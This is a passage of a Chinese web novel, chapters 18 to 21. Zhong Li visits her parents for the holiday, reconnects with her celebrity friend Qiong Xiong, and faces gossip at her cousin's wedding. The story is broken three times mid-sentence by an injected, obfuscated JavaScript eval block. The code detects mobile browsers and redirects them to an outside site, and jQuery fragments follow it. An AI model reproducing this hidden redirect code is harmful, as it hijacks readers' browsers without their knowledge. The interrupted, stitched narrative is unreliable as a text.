王婶朝她搭话,上下打量她,但眼神没有恶意,是长辈对于晚辈的观察。
“瘦了?这几年在外面很辛苦吧。”
钟励拘谨点点头,她真的不会跟长辈沟通,一般都是别人问什么她答什么,跟个人机一样。
“是,这几年工作忙。”
王婶也只是寒暄,随便说了两句就走了。
钟励长长呼出一口气,抬脚跨过大门门槛。
她们这破旧小区是没有电梯的,就连楼梯也很挤,钟励提着行李箱就已经占据楼梯的全部空间。走到一半要是遇到人,她就得在两层楼之间的过渡地带停下来,让让路。
终于到了,钟励将行李箱放下,她双手叉腰大喘气。
虽然还隔着一扇门,但她已经听见家里的电视声了。
她掏出钥匙插进钥匙孔,往顺时针方向轻轻一拧,门打开了。
钟励拔出钥匙放进包里,她拉开门,脸上挂上笑容。
“妈,爸,我回来了。”
钟父坐在沙发上看电视,瞧见她回来了站起身接过她的行李箱。
“怎么不让我下去帮你拎上来?”
“也不重,我自己拿着就行了。”
钟母从厨房走出来,手上还湿着,随便在围裙上拍了拍。
“回来了?不是喜欢吃排骨吗?你爸专门去菜市场买的,等会儿让他给你做。”
“对了。你房间我都收拾过一遍了,灰尘什么的都没有,被子枕头我也都洗过了。”
钟母絮絮叨叨的,一边说话还一边从鞋柜里拿出拖鞋放着钟励面前。
“你不在拖鞋都发霉了,这双的重新给你买的。”
“嗯。”
钟励点点头换上拖鞋,没敢抬起头,喉咙像塞了棉花,口水怎么也咽不下去。
“这次回来几天?”
“中秋节放三天假。”
目前她是定着留在家里三天,虽然现在很美好,但过两天她妈就要容不下她了。所以只说了三天。母慈子孝是不可能长久存在的。
钟励洗完澡吹完头发,饭也准备好了。
她吃得不亦乐乎,脑海中隐隐感觉她忘记了什么事情,但想不起来。
可能是错觉吧,她现在吃好喝好,能有什么要紧事。
吭哧吭哧,钟励低着头干掉了两碗大米饭,手上还拿着一个大鸡腿,啃了一大半。
“还要不要再吃一点?”
她碗里的米饭空了之后,钟母就要起身给她盛饭。
钟励都来不及吞咽,嘴里发出呜呜呜的声音,死命摇头。她喝了口汤顺下米饭后,才能开口讲话:
“不用了妈,我吃饱了。”
还打了一个饱嗝,肚皮圆滚滚的,心满意足。
吃饱喝足后,钟励回到房间玩手机。
一解锁屏幕,一大堆消息猛地弹出来。都是纪善发来的,还打了几个电话。最近的电话在半小时以前。
钟励拨回去,她从衣柜里又拿出一个枕头,枕在背后,两个枕头垫着比较舒服。
“喂?”
她还没问呢,对面的纪善就咕噜咕噜一大堆。
“你怎么不回我消息啊?也不接我的电话。
“我的手机都要没电了。”
钟励不解:
“没电你就充电啊。”
又不是傻子,饿了不知道吃饭,下雨了不知道往家里跑。
“可是我的充电器在你的包里,下车的时候太着急,跟充电宝一起塞到你包里了,我也忘了找你拿。”
听到纪善说起,钟励一拍脑袋,这才想起来,确实是有这么一回事。
钟励半躺在床上,懒得动弹,用脚勾住扔在床尾的包。
她拉开包的拉链,一眼就看到了数据线缠绕在她的充电宝上面。
“额,你没有别的数据线了吗?”
大晚上的她懒得动,虽然只隔了一千米,但走起来也蛮远的。
“没有了,这是原装的。买的话很贵。”
纪善回答道。
钟励一个仰卧起坐,坐起来了,她怀疑纪善其实是她肚子里的蛔虫成精了,怎么会洞悉到她的想法。
她刚想说要不点个跑腿买一根新的得了。让她花没必要的钱简直浑身刺挠。
最后她认命下床,无奈说道:
“我现在去给你送数据线。”
其实她有一个更邪恶的想法,要不让纪善坐着轮椅来找她算了。
他来是坐着来,她去则是走着去。谁的运动量大一目了然。
可她目前还是没有缺德到这种地步的。
钟励翻找行李箱换上外出的衣服,一出房门,钟母就叫住她:
“出去啊?”
“是。我出去转转,消消食,吃得有点饱。”
这话不假,确实吃太多了,撑得难受。
拿在手里的手机振动了一下,钟励低头一看,原来是钟母给她转了五百块钱。
“妈,你这是干什么?”
钟母笑了笑,继续她的十字绣。
“给我女儿一点零花钱,出门的时候怎么能没有零花钱呢?你小时候都有,不至于长大了就没了吧。”
“你这。”
钟励双眼热热的,抿了抿嘴,动作诚实地收下了。
她目前确实很缺钱,就不客气了。
“对了,要是出去跟别人玩,跟我说一声,我另外给你零花钱。”
钟励吸了吸鼻子,狐疑看了自己母亲一眼:
“你这么有钱?”
“再说了,我能跟谁出去玩?”
她双手插兜,耸了耸肩,视线飘忽。
她几乎是跟所有人断联了,连父母都很少联系。
钟母听罢放下手中的十字绣,起身拍了一下钟励的后背。
“没钱,但谁让养了你,这钱还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14321384|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是得花。”
“琼芎啊,她中秋也回家,你们之前不是最要好的朋友了吗?”
“你们从小学就认识,又考上同一所大学。按理来说不应该啊……”
“带她回家的时候,你们还睡一张床,晚上聊天聊到半夜都不睡觉。”
钟励低头轻咳一声。
“大家长大了嘛,自然而然就会疏远一些,彼此都有自己的生活了。”
钟母闻言点点头:
“也是,人家现在是大明星,可能往来也不太方便。”
话题就此结束,钟励得赶紧过去了,免得纪善又鬼哭狼嚎的
钟母又叫住她,从厨房提了一袋垃圾交给她。
“等等,把垃圾带出去。”
钟励最讨厌扔厨余垃圾了,不知道里面放了什么汤汤水水的东西,一直往外滴渗着不明液体,而且还格外重。
“哦。”
当然她还是乖巧接了过去。
她从客厅的桌面上抽出两张纸,垫在垃圾袋提手的地方。这里黏糊糊的,她在外面又洗不了手,这样就安全多了。
路上的时候钟励走路姿势怪异,双腿岔开着走,像只螃蟹。垃圾袋两只手拎着放在中间,这样就不会被不知名液体滴到了。
“扑通”一声,垃圾袋终于进入了垃圾桶,钟励也完成了她的使命。
她拍拍手,大功告成。
一转身,钟励眼尖瞧见了老朋友,是琼芎。
要不然说是女明星呢,在夜晚下皮肤都白皙得发亮,远远的都能看到五官,眼睛是眼睛,鼻子是鼻子的。
要是她隔这么远的距离,能看到的只有满脸油光。
她心脏砰砰直跳,找了个拐角的地方躲了进去。
琼芎身边围了很多人,她仍然是其中最显眼的那个。
“琼芎,你没在跟钟励联系了吧?”
“是啊,你心软,现在又是明星,跟她做朋友会影响你的,要知道她身上可是有污点。”
几个人叽叽喳喳的,数落着钟励的不是。
钟励瘪了瘪嘴,也没什么反应,她知道琼芎站在聚光灯下,一切都有可能会成为伤害她的利刃,所以她才决定离她远一点。
一群人轰轰隆隆走过去之后,钟励观察了周围的环境才敢出来。
她又没做贼,有什么好躲的。
钟励朝着与她们完全不同的方向离开了。
月明星稀,月亮的光芒遮盖了星星的点点星光。今天是一个晴朗的好天气,天空上方都没什么乌云,月光的光亮比平常要更耀眼一些。
走了几分钟终于到酒店了,钟励搭乘电梯,来到了纪善所在的房间。
“叩叩叩”,她轻敲了几下后,几乎是下一秒,纪善就打开门了。
想必轮椅都要转冒烟了吧,这么快的速度。
“呐,你的数据线。”
纪善刚把数据线接过来,只听安静的走廊上传来一道音色甜美但语气冷漠的声音。
“钟励,你大半夜偷偷溜出来就是为了见一个野男人吗?连我也躲着。”
“而且......”
琼芎似乎很生气,她大跨步着走,高跟鞋在她脚下踩得砰砰响。
琼芎的视线转移到纪善的轮椅上,她指着纪善,嘴角的肌肉抽动,十分不屑,转头问钟励道:
“而且,还是一个死瘸子。”
“他除了脸长得是一副人样,你到底看上了他哪里?”
19. 第 19 章
上学的时候,琼芎看着学校里黏黏糊糊的情侣,就会挽着钟励的手臂,问道:
“要是你以后有了男朋友,会把我抛在脑后吗?”
周边也有很多朋友,在有了男朋友以后就很少跟她们再像之前那样亲密往来。
可钟励坚定摇摇头:
“不会,我们会是永远的好朋友。”
她想,她分得清楚好朋友跟男朋友的区别,并且可以平衡好。
琼芎对这个回答很满意,她伸出了手,要钟励跟她拉勾约定好。
“要不要我再写一份合同,盖个章?”
钟励表情嫌弃,却还是照做了,跟她手指盖章。
时过境迁,大家都不再像小时候那样纯粹了,内心装的事情也多了不少。
可钟励依旧把琼芎当作最好的朋友,哪怕她们已经不再联系。
不过琼芎怎么会来?还跟着她进了酒店,撞上了纪善。
钟励站在两个人的中间,闻到了凝固空气里即将要点燃的火药味。
她举起手类似于举手投降的姿势,一边陪笑一边缓和琼芎的情绪。
“不是的不是的,我们只是朋友。”
这句解释真的很苍白,都来到酒店了,但确实是真相啊。
纪善都半残了,还在拱火。他就算坐在轮椅上,也挺直了腰背,不卑不亢的,轻声对钟励说道:
“钟励,你的衣服落我这边了,等会儿记得拿。”
钟励转过头去,一句话没说,她死死盯着纪善,眼里的火苗越烧越烈,威胁的意味呼之欲出。
见纪善接收到她的信号后,她又伸出一根指头用力在空中点了点他,让他闭嘴
什么落下的衣服,讲得这么暧昧。不过是她的行李箱装不下要带回来的所有东西,将其中几件衣服放到了纪善的行李箱而已。
虽然本质都是一件事情,但说法不一样,感情色彩也就不一样。
钟励僵硬转身面对琼芎,苦哈哈的,她摸了摸后脑勺。
“不是的,我只是衣服太多了,借用了一下他空余的行李箱空间而已。”
好像抹得更黑了,这意思不就是他们是一块儿来的。那有什么目的呢?就一块儿坐车回来了。
秋风萧瑟,钟励在街上走的时候体感微凉,现在她尸体微凉了。
她无望地闭上眼,坐等琼芎的质疑。
钟励自然垂下放在大腿边上的左手,突然感觉到一股暖意,她猛地睁开双眼,发现是琼芎拉起她的手。
“你手好凉,要不我们进房间说话吧。站在走廊太难看了。”
说完琼芎拉低了帽檐,走廊上还是有其他人的,虽然不多。
钟励才意识到琼芎跟她这种普通人不一样,被拍到就不好了。
“好啊好啊。我们先走吧。去你家里吗?”
琼芎脸上的笑容淡了一些,她眉眼明媚,但提到家庭的时候,却不可避免带上一些阴郁。
“不了,我这几天住在酒店。回家对我来说反而是麻烦。”
“行吧,去哪里都可以。”
钟励不在乎去哪里了,就算你跟她说现在去厕所聊天,她也愿意。只想火速逃离现场。
“那他?”
琼芎终于舍得分一丝注意力出去,顺着她指的方向,钟励看到了在一旁安安静静等待的纪善。
纪善模样清俊,黑发不如出门前挺阔了,柔顺耷拉着。身上换上了米白色的睡衣,身形似乎比骨折前更瘦削了些。
她的良心突然长出来了一点,要是直接抛下他会不会不太好。可是她们两人聊天是姐妹淘,他进来算什么?
“没事,你们先走吧。我一个人可以的。”
纪善不愧是她肚子里的蛔虫,懂事。
下一秒纪善转着轮椅要回去,可是不知道轮椅不灵活还是怎么样?卡在门口了,怎么也转不了身。
“怎么了?”
钟励担忧地走过去,蹲下身来查看轮椅的状态。
不过她才半蹲下来,身边就紧擦过琼芎的右腿,力度的风速吹起她的碎发。
琼芎大腿有力朝轮椅踢了一脚,直直将轮椅踢转了差不多30度。
“不用客气。”
右腿缓缓落下,琼芎理了理衣角,对纪善说道。
纪善用手撑住了门,手臂上青筋冒起,这才没倒下,他转过来,半眯着眼睛微笑,咬牙切齿表达了感谢。
“谢谢,感谢的话还是要说的。”
“好了好了,大家应该都有要事要忙,就这么分开吧。”
钟励真是怕下一秒两个人打起来,她将纪善推了进去,拍拍他的肩膀,低声说道:
“衣服我明天再过来拿,你给我老老实实呆着,有事叫工作人员。”
不等纪善作出反应立刻出来,“啪”一声把门关上,像是里面关了什么妖魔鬼怪。然后又挽上琼芎的手臂,小碎步离开。
进了电梯后,钟励又松开挽着琼芎的手了,往旁边挪动了一步。
她们说起来也好几年没见了,突然靠得这么近,可能会招人反感吧。
“好久不见。”
琼芎微微侧过头,脸上稍显浓厚的妆容遮盖住原本的模样,完美的面具下,眼神依旧如初。
钟励眼含热泪热情回应:
“好久不见。”
钟励原本就是比较随和的性格,跟别人也能聊得来,短短几分钟,两个人似乎又回到了学生时代。
琼芎带着钟励到达她住的酒店。
一进套房,钟励惊讶地满地跑,然后又走回来用拳头捶了一下琼芎的肩膀。
“你这死丫头,现在日子过得真不错啊。”
琼芎脱下外套,打底是一件普通衬衣,但穿在她身上像大牌。
本来只是钟励的内心想法,但她可能太放松了,想法脱口而出。
琼芎点点头:“没错。猜猜多少钱?”
她们之前出去逛街的时候也喜欢猜商品价格,贵了就蛐蛐几句又放回去。要是对方猜中了标签上的价格,反而要质疑是不是偷偷看了答案。
“800?”
不光富贵会限制人对贫穷的想象能力,同理可得,贫穷也会依旧限制人对富贵的想象能力。
琼芎双手抱胸,波浪大卷发随意披在两侧,她竖起一根手指头左右摇晃,摇摇头:
“五千。”
钟励倒吸一口凉气,她这辈子都不可能花五千块买一条衬衫的。
她往后退两步,瞪大了双眼,摆摆手。
“我还是离你远一点吧,碰坏了可赔不起。”
钟励一屁股坐到沙发上。
“还记得我们当初说的话吗?发达了提携对方。”
很多人大概都会这么跟朋友说过,等你发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329547|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
达了要养我啊。苟富贵,勿相忘。
琼芎给她倒了一杯水,点点头:
“好啊,要跟我一起工作吗?当我的助理,我给你月薪十万。”
钟励手里的玻璃杯都要拿不住了,这价格是她工资的20倍啊。
她抬起眼皮,琼芎表情认真,见她看过来,又重重点了点头。
“我是认真的哦。”
虽然这个工资她十分心动,但还是艰难拒绝了。倒也不是跟钱过不去,只是她认为琼芎这个朋友对她来说更重要。
钟励一向是不喜欢跟朋友有经济来往的,有经济来往就意味着可能发生经济纠纷,多年的感情就很有可能烟消云散。
都说创业不能跟朋友创业,也是这个道理。
“对了。”
琼芎一边卸妆,一边不经意问钟励道。
“刚刚在酒店那个男的谁啊?”
“你要是喜欢这种类型跟我说,我给你介绍,刚刚那个油头粉面的,看着不太行。”
琼芎摘下耳朵上亮晶晶的耳环,钟励刚刚都没注意到她还带耳环了,注意力都在脸上了。
“抱歉,我不是诋毁他。”
琼芎摊摊手,“我只是陈述我对他的初印象。”
钟励咕咚咕咚喝完了半杯水,她解释道:
“不是,我跟他不是你想象的那种关系。只是普通朋友。”
钟励将来龙去脉讲了一遍,掩去了关于那本笔记本和凶宅的事情。
“所以,你真的跟他没有什么关系吗?可不能瞒着我啊。”
琼芎已经卸完妆了,脸蛋滑溜溜的像水煮蛋。
“当然没有,你是我最好的朋友,有什么事情我会跟你说的。”
钟励当然明白琼芎的意思,她也讨厌重色轻友的朋友。
她大学时期的室友,有几个谈了恋爱就什么都不管不顾了,甚至有人连最后一周的统计学课也不来上,划重点都不听,因为要跟男朋友去约会。还好她全程记了笔记,才免了那个舍友的挂科。
可能永远都会看不顺眼朋友的男朋友吧,她以前就老烦她其他朋友的男朋友了。觉得无论如何也配不上自己的朋友,不明白到底看中了他哪一点?
“真的真的,我真的会跟你说的。如果有这种情况。”
钟励再三保证。
“说是最好的朋友,结果还不是跟我断联。”
听到琼芎提起往事,钟励不免尴尬,当然她也不后悔当初的决定。
“这不是怕影响你吗?你在事业的关键时期,要是别人知道你跟我交朋友,会怀疑起你的人品的。”
钟励不想再多提及这件事,她找了个借口要溜。
“时间也不早了,我先回去了,有机会再聊吧。”
也不让琼芎送她,说她要夜跑回去,锻炼锻炼身体。
晚上乌漆嘛黑的,钟励几乎是贴着墙根走了。
临到家门口,前面有两个人也跟她同路。
“哎,你说,我们这栋楼钟家那个,他们家女儿回来了?”
“我听说是有案底啊,还敢回来啊。”
“不是案底吧,不是说证明清白了吗?”
“谁知道呢?人看着白白净净的,做出这种事情来。可真是苦了她的父母啊。”
钟励放缓了脚步,直到再也看不见前面那两人,才接着继续走回家。
20. 第 20 章
“妈,我回来了。”
钟励手上还拎着一大袋零食,遇到不开心的事情就吃一点,多出去转两圈,别放在心里。
果然,她就说母爱的保质期很短吧。
钟母坐在沙发上,眼皮也不抬一下。
“对了。”
钟母摘下鼻子上架着的老花镜,对钟励说道:
“你表姐过几天办婚宴,本来是没打算跟你说的,怕到时候有人说话不好听。”
“但是你小时候跟你表姐好,偶尔也去她家住。在她这么重要的日子里,不知道你去不去?”
钟励在冰箱面前蹲下来,将买的冰淇淋放到冰冻区。
买的不多,冰箱里太多陈年老肉了,没地方放。只能一根根手动塞到各个角落里。
她的表姐叫夏青露,说有多特别倒也没有。
她们家族阴盛阳衰,女孩子偏多,夏青露跟她年纪相仿,所以小时候也经常一起调皮捣蛋。
她们小时候还一起偷偷攒下早餐钱,合资买漫画书。结果轮到夏青露看的时候被发现了,被她母亲打了一顿,觉得不应该花钱买闲书。
无论夏青露怎么打,都没有供出钟励,否则钟励至少也要挨骂。
自此以后,她们的关系更加亲密了。
只是年纪渐长,加上钟励父母跟夏青露父母因为利益分配问题有些龃龉。当小孩子的难免受到影响,而且上学也很忙,便减少了往来。
一眨眼她表姐都要结婚了,钟励一直觉得结婚组成新的家庭是离她特别远的一件事情。
“去吧。”
她觉得还是去看看吧。
钟励把冰淇淋都放好了,剩下两个,放不下就吃了吧。
“妈,吃冰淇淋吗?”
钟母睨了她一眼,摇摇头:
“年纪大了,吃不得冰的。你自己吃吧。”
“还有,你也少吃一点,女孩子冰吃多了不好。”
“嗯嗯嗯,知道了。”
钟励机械点点头,她其实每天都要喝冰咖啡的,当然这件事不能让母亲知道。
她撕开外包装,巧克力外层上还有一层冰霜,咬一口门牙都要冰掉了。
她吃到一半忽然想起什么事情一样,嘴里的冰淇淋还没有咽下去就转头过去问母亲:
“我不用另外给份子钱吧。”
她刚刚才得的五百块,这就要没了吗?
还好钟母给出了她满意的答案:
“不用,当然是我们家里出一份就够了,你也算在里面啊。”
钟励心放回肚子里了,安心吃冰淇淋,又撕开第二个冰淇淋的包装。第二个放了几分钟,融化了一点,吃着没那么冰牙。
---
婚礼就在后天,钟励在接亲开始之前去了新娘所在的房间。
房间里很喜庆,夏青露周边也围着她的伴娘朋友。
刚刚听说夏青露婚事的时候,她是想过会不会找她当伴娘,她又要如何礼貌拒绝?
她不太适应这种场合,也不会跟陌生的男方人相处。还好最后事实证明她想多了。
婚纱很大,层层叠叠的纱裙平铺在床上。
钟励恍惚间还以为回到了小时候,她们一起玩芭比娃娃的样子。她还喜欢用纸巾裁剪衣服,最后当然是被骂铺张浪费。
“青露姐,新婚快乐。”
她站的地方离夏青露差不多有两三米远,直到夏青露微笑朝她挥挥手,她才走过去坐在床上。
“我还以为你不来了,怕打扰你工作,没有敢专门跟你说。”
夏青露拉过她的手,很温暖。温柔地跟她解释。
钟励点点头,“我知道,我也很少回来。”
她还想多说一点话的时候,伴娘小声催促道:
“新郎他们快来了。”
满肚子的话又被钟励憋了回去,最后她站起来,告别道:
“青露姐,那我就先去饭店了。”
钟励对于接亲仪式没什么想法,她不喜欢太吵闹的地方,她来只是道贺一句。
一会儿仪式开始了新娘就更忙了,不一定顾得上她。
“等等。”
夏青露在钟励告别后叫住了她。
“对了,一会儿我扔捧花的时候,你们谁要吗?”
她这话一出,原本闹哄哄的婚房顿时鸦雀无声,大家面面相觑,都没表态。
但沉默就是最好的答案。
“都没有人想要我的捧花吗?”
夏青露“啊”了一声,求助地看着钟励。
“额……”
钟励的回答也是磕磕绊绊的,她挠挠头,先是一个免责声明:
“不是针对青露姐你啊,捧花的意义呢对我来说还是为时尚早了。”
她才不到三十岁,多年轻,先不用考虑这么重要的事情。
“其次我觉得捧花给你的伴娘吧。”
OK推出去了,应该接下来跟她无关了。
“行吧。”
夏青露摊摊手,对于大家的意愿是尊重的。
她接着竖起五根手指,说道:
“要是等一下谁能抢到我的捧花,以此可以找我兑换五百元红包。”
此话一出,房里立刻气氛又活跃了起来。
伴娘们叽叽喳喳的,要求夏青露走个后门,直接内定捧花的人选。
钟励也不甘落后,她仗着新娘表妹的身份,挤进包围圈里。
“青露姐,我可是你表妹啊。不能优先考虑我吗?”
可惜夏青露这时候格外铁面无私,怎么说都不行,就要按照游戏规则来。
钟励无奈了,不过她觉得她是有优势的,对于伴娘们而言。
伴娘穿的是高跟鞋,可能不方便跑跑跳跳,而她穿的是帆布鞋,占据装备优势。
---
钟励坐车来到了酒店,饭桌上只有未开封的、裹着一层薄薄塑料膜的餐具,还有几瓶饮料。
她来后扫了好几眼,才找到自己母亲,做在了旁边。
桌面上有菜单,钟励看着吉祥如意的菜名,实在是猜不透原材料是什么。
席间还有坐不住的小孩子跑来跑去,大人们在聊天,年轻小辈多数在玩手机。
吃酒席的人最关注的还是吃什么,对于仪式,似乎没几个人感兴趣。
所以为了不冷场,酒席安排在婚礼仪式后。好在仪式并没有很久。
钟励偷偷在桌子下面活动手腕跟脚腕,做足准备了,到时候就不容易崴脚。
“接下来新娘要送祝福了。”
司仪在一旁拿着话筒走流程。
钟励一个箭步就冲上去,但伴娘占据位置优势,她落在了后排。
她看着那一束花,眼里四个字“志在必得”。
邻座的人问钟母道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347175|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“你们家孩子,就这么想结婚?”
钟母看着都一愣一愣的。
“不知道啊。”
“三、二、一……”
夏青露一个后抛,手中的捧花丢出一个完美的抛物线,居然就恰恰好扔到了钟励的手中。
我的天,五百块。
钟励立即骄傲举起抢到的捧花,向伴娘团的人轻轻颔首。
“谦让了,谦让了。”
她兴冲冲过去找夏青露兑换现金,结果被抓着合照。
钟励倒是笑得很开心,别人来吃酒席要花钱,但她不一样,她是来赚钱的。
婚礼仪式完全结束,服务员有序上菜,宾客的心情眼见着好了。
她回座后,母亲已经给她盛了一碗汤。
“谢谢妈。”
钟励眉眼弯弯,笑容甜甜的。
吃到一半,邻桌的一个女人走了过来,年纪看着跟钟母差不多。
女人一来就拍了拍钟励的肩膀,套近乎。
“姑娘,有没有处对象的想法?”
钟励放下啃到一半的排骨,皱眉摇摇头。
“不考虑,不考虑。”
女人却不死心,转头跟钟母搭话去了。
“这个男孩子条件很好的,人老实,会疼人。”
女人还点开手机放了一张照片,钟励就这么一瞥,眼睛都要伤到了。
男孩是指这个头顶几乎全秃的吗?看着也胖胖的,身高跟体重大概是一个数值,未健身版。
“这,男孩?跟我爸差不多年纪吧。”
当然钟励她爸的头发还是茂盛的。
她扯了扯嘴角,满脸嫌弃。要不是位置太挤了,她真想搬凳子离远一点。
女人不认同“啧”了一声,她摆摆手,说道:
“小姑娘别太早下定论,这可是潜力股。而且你跟他结婚还有一个好处,年轻小姑娘都怕生孩子身材变形,你跟他结婚,不用生孩子。”
“他那啥活性不行?”
钟励也是百无禁忌,直接就说了出来。
女人连连呸了好几下,“怎么可能?他有儿子了,所以不用再生。”
“我可是未婚。”
钟励气得连饭都吃不下了,这根本没把她放在眼里吧。
女人上下扫了她一眼,眼里透露出一丝不屑:
“你可是有案底在身,你嫁给他,他儿子还考不了公呢。怎么想也是人家亏大了。”
钟励闭上眼,深吸了一口去,才把怒气压回去。
今天是她表姐夏青露的好日子,她不想闹得难看。
她打算息事宁人当作没听见的时候,钟母发作了。
钟母推了一下女人的肩膀,指着她小声骂道:
“你这人哪里冒出来的?还敢对我女儿指指点点,赶紧滚。”
来了这么一出,钟励也吃不下饭了。钟母看出来了,她拉着钟励的手,细声问道:
“要不要妈带你去其他地方吃?”
钟励眼睛酸酸的,她抽出一张纸巾擦了擦嘴,又折一下超绝不经意擦到眼睛,她不想让母亲看到她的眼泪。
“妈,回家吧,我还是比较喜欢你做的饭。”
---
回家的途中,钟励收到琼芎发来的消息,截图了她表姐刚刚发的朋友圈,专门用红笔圈出来她抢捧花合照那里。
“你想结婚?”
21. 第 21 章
【你什么时候加我表姐的联系方式啊?】
钟励冒出了一个问题,她劈里啪啦地打字问道。
想不到琼芎跟她表姐还有联系呢。
琼芎:【你先回答我的问题。】
明明只有几个字,但为什么这么有压迫感?
只是呆愣了几秒,没有及时回复,对面就直接一个电话打过来了。
“喂?”
钟励接通后,发现琼芎那边吵吵闹闹的,她应该还在忙工作。
“你在忙吗?那我不打扰你了。”
到时候要是琼芎被爆出打电话不工作,耍大牌的新闻就糟糕了。
琼芎的声音冷冷的:
“你是在转移话题吗?”
“不是,我没有要结婚。我表姐说只要抢到捧花,就能兑现五百块。”
钟励解释后,发现琼芎没说话,开始怀疑手机的信号是不是不好?下一秒手机震动一声,“唰唰唰”的,是金币入篮的音效。
琼芎通过某蓝色软件给她转账,直接到账,都不用她点接收。
“你给我转五万块干嘛?”
钟励一头雾水,她是真的不太喜欢跟朋友有太大的经济往来。平常请吃饭喝奶茶也就还行。再多的怕影响感情了。
“怕你被蝇头小利冲昏头脑,结婚要慎重。”
琼芎的语气软和了许多。
钟励哭笑不得,她刚想转回去,就听到琼芎严声制止她。
“转了就是给你的,不要给我转回来。这点钱发个红包而已。”
钟励瞪大了双眼,再次细数这是几个零,怎么说得五万像五块钱一样。
“老板大气。”
钟励揶揄她,接下来她又安抚琼芎道:
“不知道你什么时候这么迷信了?明明你之前说我命由我不由天。捧花虽然有这个寓意在,但我有手有脚的,又不是养不活自己。结婚对我来说就是完全主观性的事情,只要我不点头,谁还能强迫我?”
钟励苦口婆心地解释,揉了揉僵硬的脖子。
“是啊,我命由我不由天。”
琼芎在电话那头轻声说道,嗓音低沉,似乎下了某种决心。
钟励还想要安慰朋友,但听到电话那头有工作人员在小声催促琼芎,她也只能作罢。下次再说吧。
“你先忙吧,挂了。”
刚好计程车也到家了。
钟母兴冲冲说要给钟励做几个好菜,在厨房一阵忙活。
“妈,不用这么兴师动众的。做一两个菜就行了,多了又吃不完。”
她又不是大胃王,要是吃不完倒掉多浪费。
钟母则很不赞同,她一边打开冰箱找东西,一边说道:
“吃不完就给你爸吃。再说了,你不是只在家呆几天吗?过几天就要走了吧,那不就吃不到我做的饭了。”
钟励手上吃了一半的苹果逐渐氧化,都没见她再吃一口。
“是。”
她声音低落,电视上播放的喜剧电影也没能再逗笑她,反而感觉太吵闹。
钟励买了明天的车票,明天就要走。
换了好几次台,都看不下去,钟励干脆“滴”一声,拿起遥控器直接关掉电视。
钟母探出头来,手上拿着不锈钢碗在搅拌鸡蛋,“不看了?”
钟励打了个哈欠,摇摇头伸懒腰:“不看了,有点困。”
钟母点点头:“那你回房间睡一会吧,把门关好,免得油烟长了眼蹿你屋里去。早知道当初就做封闭式厨房了,现在开放式厨房,油烟机都没有完全起作用。”
还是晚上再说吧,她明天就要坐车离开的事情。
钟励盖上被子,在油烟机的白噪音中昏昏沉沉睡去。
第二天,钟励的父母送她到车站。
“行了,爸,妈。送到这里就行了,你们回去吧。”
钟母还想跟进去,看着她上车,但钟励百般推辞。这肯定不行啊,纪善还在里面等她。
“人多又这么挤,就这样吧,我走了啊。”
钟励提起行李箱,挥了挥手,不等父母做出反应就直直往里跑。
跑到一半,钟励又忍不住停下来回头。
发现父母仍然站在原地,瞧见她回头,又高举起手朝她打招呼。
“回去吧。”
钟励也同样挥手,隔的距离有点远了,父母听不到,倒是来来往往的路人向她投去了好奇的目光。
这么大人了还让父母操心,钟励不由得酸了鼻子。
尘封的往事是时候该解决了吧。她也不想一直像一只蟑螂一样躲躲藏藏的,自己也就算了,还得连累父母。
婚礼酒席的时候她都看到了,虽然他们没有很明显,但显然对着她嘀嘀咕咕的。
回去的时候找一下老同学夏曦曼吧,既然她说知道一些事情。
那张纸条还在吧,她只记得随手塞到了包的夹层里面,具体的不是很记得了。
一边想东想西,一边往里走。
纪善坐在角落,行李箱端正放在一旁,见到钟励来了,冷淡的气质顿时如冰雪融化一般。
“你来了?”
钟励顺了一下气,呼吸逐渐平稳,她不解问纪善道:
“你看看,跟着我来干什么?反正都是只能呆在自己房间,还不如呆在家里呢。省得跑来跑去。”
纪善轻轻摇头,否认了钟励的说法。
“我虽然呆在房间,但也能获取需要的信息。”
钟励更不解了,那既然呆在家里都能满足他所有的需求,大老远跑过来岂不是吃饱了撑的。
算了,跟她没关系。她晃了晃脑袋,坐上车了。
钟励只要下定决心做的事情,就会行动力超强。
一下电梯,钟励就跟扔掉烫手山芋一般,把纪善推回他屋里,敷衍“拜拜”了一声就飞速离开了。纪善的手还僵硬在半空中,跟空气打了招呼。
回到自家公寓后,钟励翻找挂在衣架上的包包。
纸条还在原处放着,钟励按照上面的数字拨打了电话。
对方刚刚接起来,就听她轻叹了一口气:
“你终于找我了。我还以为你不会拨打这个号码了。”
夏曦曼说话有气无力的,似乎还在生病。明明离上一次见她已经过去了好几个月,怎么还在生病?
“你生病了?”
夏曦曼咳嗽了几声,连咳嗽声都并不激烈,钟励都不用刻意把手机离耳朵远一点。
过了会,她才回复:
“是老毛病了,不要紧。”
